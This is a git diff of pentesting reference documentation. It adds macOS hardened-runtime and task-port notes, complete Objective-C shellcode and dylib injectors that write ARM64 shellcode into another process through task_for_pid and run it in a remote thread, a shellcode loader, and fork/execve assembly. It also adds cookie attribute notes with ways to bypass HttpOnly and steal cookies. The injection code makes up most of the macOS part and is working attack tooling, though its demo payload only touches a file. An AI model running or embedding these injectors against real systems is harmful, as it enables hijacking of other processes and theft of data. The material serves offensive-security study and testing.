diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index 9dfbae16..eb146d29 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1122,6 +1122,8 @@ In the function **`processRestricted`** the reason of the restriction is set. Ch In more updated versions you can find this logic at the second part of the function **`configureProcessRestrictions`.** However, what is executed in newer versions is the **beginning checks of the function** (you can remove the ifs related to iOS or simulation as those won't be used in macOS. {% endhint %} +You can check if a binary has **hardenend runtime** with `codesign --display --verbose ` checking the flag runtime in **`CodeDirectory`** like: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** + Find a example on how to (ab)use this and check the restrictions in: {% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index ff13c87d..30d55e7b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -84,7 +84,9 @@ kextunload com.apple.iokit.IOReportFamily ### IPC - Inter Process Communication - +{% content-ref url="macos-ipc.md" %} +[macos-ipc.md](macos-ipc.md) +{% endcontent-ref %} ## Apple Propietary File System (APFS) diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc.md index 6b7491ce..8ca1789d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc.md @@ -184,12 +184,520 @@ int main() { ### Privileged Ports -* **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - * Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`ing a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) while doing a `fork()`. * **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). * **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get tis permission. - * Moreover, in order to call `kext_request` API it's needed to have the entitlement `com.apple.private.kext` which is only given to Apple binaries. + * Moreover, in order to call **`kext_request`** API it's needed to have the entitlement **`com.apple.private.kext`** which is only given to Apple binaries. * **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. +* **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). + * Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`ing a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) while doing a `fork()`. + * These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): + * If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. + * Apps the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. + * **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). + +### Shellcode Process Injection via Task port + +You can grab a shellcode from: + +{% content-ref url="../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} +[arm64-basic-assembly.md](../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) +{% endcontent-ref %} + +{% tabs %} +{% tab title="mysleep.m" %} +```objectivec +// clang -framework Foundation mysleep.m -o mysleep +// codesign --entitlements entitlements.plist -s - mysleep +#import + +int main(int argc, const char * argv[]) { + @autoreleasepool { + NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); + [NSThread sleepForTimeInterval:99999]; + } + return 0; +} +``` +{% endtab %} + +{% tab title="entitlements.plist" %} +```xml + + + + com.apple.security.get-task-allow + + + +``` +{% endtab %} +{% endtabs %} + +**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). + +
+ +injector.m + +```objectivec +// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector + +#import +#import +#include +#include + + +#ifdef __arm64__ + +kern_return_t mach_vm_allocate +( + vm_map_t target, + mach_vm_address_t *address, + mach_vm_size_t size, + int flags +); + +kern_return_t mach_vm_write +( + vm_map_t target_task, + mach_vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt +); + + +#else +#include +#endif + + +#define STACK_SIZE 65536 +#define CODE_SIZE 128 + +// ARM64 shellcode that executes touch /tmp/lalala +char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00"; + + +int inject(pid_t pid){ + + task_t remoteTask; + + // Get access to the task port of the process we want to inject into + kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); + if (kr != KERN_SUCCESS) { + fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); + return (-1); + } + else{ + printf("Gathered privileges over the task port of process: %d\n", pid); + } + + // Allocate memory for the stack + mach_vm_address_t remoteStack64 = (vm_address_t) NULL; + mach_vm_address_t remoteCode64 = (vm_address_t) NULL; + kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); + return (-2); + } + else + { + + fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); + } + + // Allocate memory for the code + remoteCode64 = (vm_address_t) NULL; + kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); + return (-2); + } + + + // Write the shellcode to the allocated memory + kr = mach_vm_write(remoteTask, // Task port + remoteCode64, // Virtual Address (Destination) + (vm_address_t) injectedCode, // Source + 0xa9); // Length of the source + + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); + return (-3); + } + + + // Set the permissions on the allocated code memory + kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); + return (-4); + } + + // Set the permissions on the allocated stack memory + kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); + return (-4); + } + + // Create thread to run shellcode + struct arm_unified_thread_state remoteThreadState64; + thread_act_t remoteThread; + + memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); + + remoteStack64 += (STACK_SIZE / 2); // this is the real stack + //remoteStack64 -= 8; // need alignment of 16 + + const char* p = (const char*) remoteCode64; + + remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; + remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; + remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; + remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; + + printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); + + kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, + (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); + + if (kr != KERN_SUCCESS) { + fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); + return (-3); + } + + return (0); +} + +int main(int argc, const char * argv[]) { + @autoreleasepool { + if (argc < 2) { + NSLog(@"Usage: %s ", argv[0]); + return 1; + } + + pid_t pid = atoi(argv[1]); + inject(pid); + } + + return 0; +} +``` + +
+ +```bash +gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject +./inject +``` + +### Dylib Process Injection via Task port + +In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previos injection, was generated using Mach api, so **it's not posix compliant**. + +It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. + + Therefore, to **improve the shellcode** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load our dylib** from the system. + +You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): + +{% content-ref url="../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} +[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) +{% endcontent-ref %} + +
+ +dylib_injector.m + +```objectivec +// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector +// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + + +#ifdef __arm64__ +//#include "mach/arm/thread_status.h" + +// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported +// And I say, bullshit. +kern_return_t mach_vm_allocate +( + vm_map_t target, + mach_vm_address_t *address, + mach_vm_size_t size, + int flags +); + +kern_return_t mach_vm_write +( + vm_map_t target_task, + mach_vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt +); + + +#else +#include +#endif + + +#define STACK_SIZE 65536 +#define CODE_SIZE 128 + + +char injectedCode[] = + + "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) + + // Call pthread_set_self + + "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables + "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack + "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer + "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the + "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct + "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; + "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start + "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; + "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) + "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread + "\x00\x00\x00\x14" // loop: b loop ; loop forever + + // Call dlopen with the path to the library + "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; + "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN + "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; + "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop + "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() + + // Call pthread_exit + "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT + "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; + "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit + + "PTHRDCRT" // <- + "PTHRDEXT" // <- + "DLOPEN__" // <- + "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" + "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" + "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" + "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" + "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" + "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; + + + + +int inject(pid_t pid, const char *lib) { + + task_t remoteTask; + struct stat buf; + + // Check if the library exists + int rc = stat (lib, &buf); + + if (rc != 0) + { + fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); + //return (-9); + } + + // Get access to the task port of the process we want to inject into + kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); + if (kr != KERN_SUCCESS) { + fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); + return (-1); + } + else{ + printf("Gathered privileges over the task port of process: %d\n", pid); + } + + // Allocate memory for the stack + mach_vm_address_t remoteStack64 = (vm_address_t) NULL; + mach_vm_address_t remoteCode64 = (vm_address_t) NULL; + kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); + return (-2); + } + else + { + + fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); + } + + // Allocate memory for the code + remoteCode64 = (vm_address_t) NULL; + kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); + return (-2); + } + + + // Patch shellcode + + int i = 0; + char *possiblePatchLocation = (injectedCode ); + for (i = 0 ; i < 0x100; i++) + { + + // Patching is crude, but works. + // + extern void *_pthread_set_self; + possiblePatchLocation++; + + + uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; + uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; + uint64_t addrOfDlopen = (uint64_t) dlopen; + + if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) + { + memcpy(possiblePatchLocation, &addrOfPthreadExit,8); + printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); + } + + if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) + { + memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); + printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); + } + + if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) + { + printf ("DLOpen @%llx\n", addrOfDlopen); + memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); + } + + if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) + { + strcpy(possiblePatchLocation, lib ); + } + } + + // Write the shellcode to the allocated memory + kr = mach_vm_write(remoteTask, // Task port + remoteCode64, // Virtual Address (Destination) + (vm_address_t) injectedCode, // Source + 0xa9); // Length of the source + + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); + return (-3); + } + + + // Set the permissions on the allocated code memory + kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); + return (-4); + } + + // Set the permissions on the allocated stack memory + kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); + + if (kr != KERN_SUCCESS) + { + fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); + return (-4); + } + + + // Create thread to run shellcode + struct arm_unified_thread_state remoteThreadState64; + thread_act_t remoteThread; + + memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); + + remoteStack64 += (STACK_SIZE / 2); // this is the real stack + //remoteStack64 -= 8; // need alignment of 16 + + const char* p = (const char*) remoteCode64; + + remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; + remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; + remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; + remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; + + printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); + + kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, + (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); + + if (kr != KERN_SUCCESS) { + fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); + return (-3); + } + + return (0); +} + + + +int main(int argc, const char * argv[]) +{ + if (argc < 3) + { + fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); + fprintf (stderr, " _action_: path to a dylib on disk\n"); + exit(0); + } + + pid_t pid = atoi(argv[1]); + const char *action = argv[2]; + struct stat buf; + + int rc = stat (action, &buf); + if (rc == 0) inject(pid,action); + else + { + fprintf(stderr,"Dylib not found\n"); + } + +} +``` + +
+ +```bash +gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector +./inject +``` ## References diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 668dcd2b..34ce711f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -21,9 +21,11 @@ ARM64, also known as ARMv8-A, is a 64-bit processor architecture used in various ARM64 has **31 general-purpose registers**, labeled `x0` through `x30`. Each can store a **64-bit** (8-byte) value. For operations that require only 32-bit values, the same registers can be accessed in a 32-bit mode using the names w0 through w30. 1. **`x0`** to **`x7`** - These are typically used as scratch registers and for passing parameters to subroutines. -2. **`x8`** - In the Linux kernel, `x8` is used as the system call number for the `svc` instruction. + * **`x0`** also carries the return data of a function +2. **`x8`** - In the Linux kernel, `x8` is used as the system call number for the `svc` instruction. **In macOS the x16 is the one used!** 3. **`x9`** to **`x15`** - More temporary registers, often used for local variables. 4. **`x16`** and **`x17`** - Temporary registers, also used for indirect function calls and PLT (Procedure Linkage Table) stubs. + * **`x16`** is used as the **system call number** for the **`svc`** instruction. 5. **`x18`** - Platform register. On some platforms, this register is reserved for platform-specific uses. 6. **`x19`** to **`x28`** - These are callee-saved registers. A function must preserve these registers' values for its caller. 7. **`x29`** - **Frame pointer**. @@ -107,6 +109,67 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm ``` {% endcode %} +To extract the bytes: + +```bash +# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh +for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do + echo -n '\\x'$c +done +``` + +
+ +C code to test the shellcode + +```c +// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c +// gcc loader.c -o loader +#include +#include +#include +#include + +int (*sc)(); + +char shellcode[] = ""; + +int main(int argc, char **argv) { + printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); + + void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); + + if (ptr == MAP_FAILED) { + perror("mmap"); + exit(-1); + } + printf("[+] SUCCESS: mmap\n"); + printf(" |-> Return = %p\n", ptr); + + void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); + printf("[+] SUCCESS: memcpy\n"); + printf(" |-> Return = %p\n", dst); + + int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); + + if (status == -1) { + perror("mprotect"); + exit(-1); + } + printf("[+] SUCCESS: mprotect\n"); + printf(" |-> Return = %d\n", status); + + printf("[>] Trying to execute shellcode...\n"); + + sc = ptr; + sc(); + + return 0; +} +``` + +
+ #### Shell Taken from [**here**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) and explained. @@ -191,6 +254,52 @@ cat_path: .asciz "/bin/cat" passwd_path: .asciz "/etc/passwd" ``` +#### Invoke command with sh from a fork so the main process is not killed + +```armasm +.section __TEXT,__text ; Begin a new section of type __TEXT and name __text +.global _main ; Declare a global symbol _main +.align 2 ; Align the beginning of the following code to a 4-byte boundary + +_main: + ; Prepare the arguments for the fork syscall + mov x16, #2 ; Load the syscall number for fork (2) into x8 + svc 0 ; Make the syscall + cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html + beq _loop ; If not child process, loop + + ; Prepare the arguments for the execve syscall + + sub sp, sp, #64 ; Allocate space on the stack + mov x1, sp ; x1 will hold the address of the argument array + adr x0, sh_path + str x0, [x1] ; Store the address of "/bin/sh" as the first argument + adr x0, sh_c_option ; Get the address of "-c" + str x0, [x1, #8] ; Store the address of "-c" as the second argument + adr x0, touch_command ; Get the address of "touch /tmp/lalala" + str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument + str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments) + + adr x0, sh_path + mov x2, xzr ; Clear x2 to hold NULL (no environment variables) + mov x16, #59 ; Load the syscall number for execve (59) into x8 + svc 0 ; Make the syscall + + +_exit: + mov x16, #1 ; Load the syscall number for exit (1) into x8 + mov x0, #0 ; Set exit status code to 0 + svc 0 ; Make the syscall + +_loop: b _loop + +sh_path: .asciz "/bin/sh" +.align 2 +sh_c_option: .asciz "-c" +.align 2 +touch_command: .asciz "touch /tmp/lalala" +``` +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 56d666f7..53c5c4e7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -24,7 +24,7 @@ #include __attribute__((constructor)) -int myconstructor(int argc, const char **argv) +void myconstructor(int argc, const char **argv) { syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); printf("[+] dylib injected in %s\n", argv[0]); diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 90e04b7a..1f15f252 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -7,12 +7,94 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-## Hacking cookies +## Cookies Attributes + +### Expires & Max-Age + +* `Expires` sets an expiry date for when a cookie gets deleted +* `Max-age` sets the time in seconds for when a cookie will be deleted **(use this, it’s no longer 2009)** + +### **Domain** + +The `Domain` attribute specifies **which hosts can receive a cookie**. If unspecified, the attribute **defaults** to the **same host** that set the cookie, _**excluding subdomains**_. **If `Domain` is** **specified**, then **subdomains are always included**. Therefore, specifying `Domain` is less restrictive than omitting it. However, it can be helpful when subdomains need to share information about a user. + +For example, if you set `Domain=mozilla.org`, cookies are available on subdomains like `developer.mozilla.org`. But if you don't, the cookie won't be sent to subdomains. + +If a **subdomain** `sub.example.com` **sets a cookie** with _domain_ attribute of **`.example.com`**, it will be **sent** on requests to the **parent domain.** + +### **Path** + +The `Path` attribute indicates a **URL path that must exist in the requested URL to send the `Cookie` header**. The `%x2F` ("/") character is considered a directory separator, and subdirectories match as well. + +#### Order + +When 2 cookies have the **same name** the one that is sent is: + +* The one with the **longest path** matching the URL path +* The **newest** one if both have the same path + +### SameSite + +This will indicate to the browser if the **cookie** can be sent **from other domains**. It has 3 possible values: + +* **Strict**: The cookie will not be sent along with a request by third party websites. +* **Lax**: The cookie will be sent along with the GET request initiated by third party websites. +* **None**: The cookie is sent from any third party domain + +| **Request Type** | **Example Code** | **Cookies Sent When** | +| ---------------- | ---------------------------------- | --------------------- | +| Link | \\ | NotSet\*, Lax, None | +| Prerender | \ | NotSet\*, Lax, None | +| Form GET | \
| NotSet\*, Lax, None | +| Form POST | \ | NotSet\*, None | +| iframe | \ | NotSet\*, None | +| AJAX | $.get("...") | NotSet\*, None | +| Image | \ | NetSet\*, None | + +Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\ +A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed. + +**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ +Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.** + +## Cookies Flags + +### HttpOnly + +This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`) + +#### **Bypasses** + +* If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://hackcommander.github.io/pentesting-article-1/)](https://hackcommander.github.io/pentesting-article-1/) +* This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**. + * This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. +* Another way is the exploitation of zero/day vulnerabilities of the browsers. +* It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack: + +{% content-ref url="cookie-jar-overflow.md" %} +[cookie-jar-overflow.md](cookie-jar-overflow.md) +{% endcontent-ref %} + +* It's possible to use [**Cookie Smuggling**](./#cookie-smuggling) attack to exfiltrate these cookies + +### Secure + +The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**). + +## Cookies Prefixes + +**`__Secure-` prefix**: must be set with the `secure` flag from a secure page (HTTPS). + +**`__Host-` prefix**: must be set with the `secure` flag, must be from a secure page (HTTPS), must not have a domain specified (and therefore, are not sent to subdomains), and the path must be `/`. + +`__Host-` prefixed cookies cannot be sent to superdomains (cookies from subdomains to domains) or subdomains (cookies from domains to subdomains), so, if you want to isolate your application cookies, prefixing everything with `__Host-` is not a bad idea. + +## Cookies Attacks If you find some kind of custom cookie containing sensitive data (sessionID, username, emails, etc.) you should definitely try to exploit it @@ -48,7 +130,97 @@ If you found an **XSS in a subdomain** or you **control a subdomain**, read: Click on the previous link to access a page explaining possible flaws in JWT. -### Checking Cookies +### Empty Cookie + +Browsers allow a cookie with an empty name + +```js 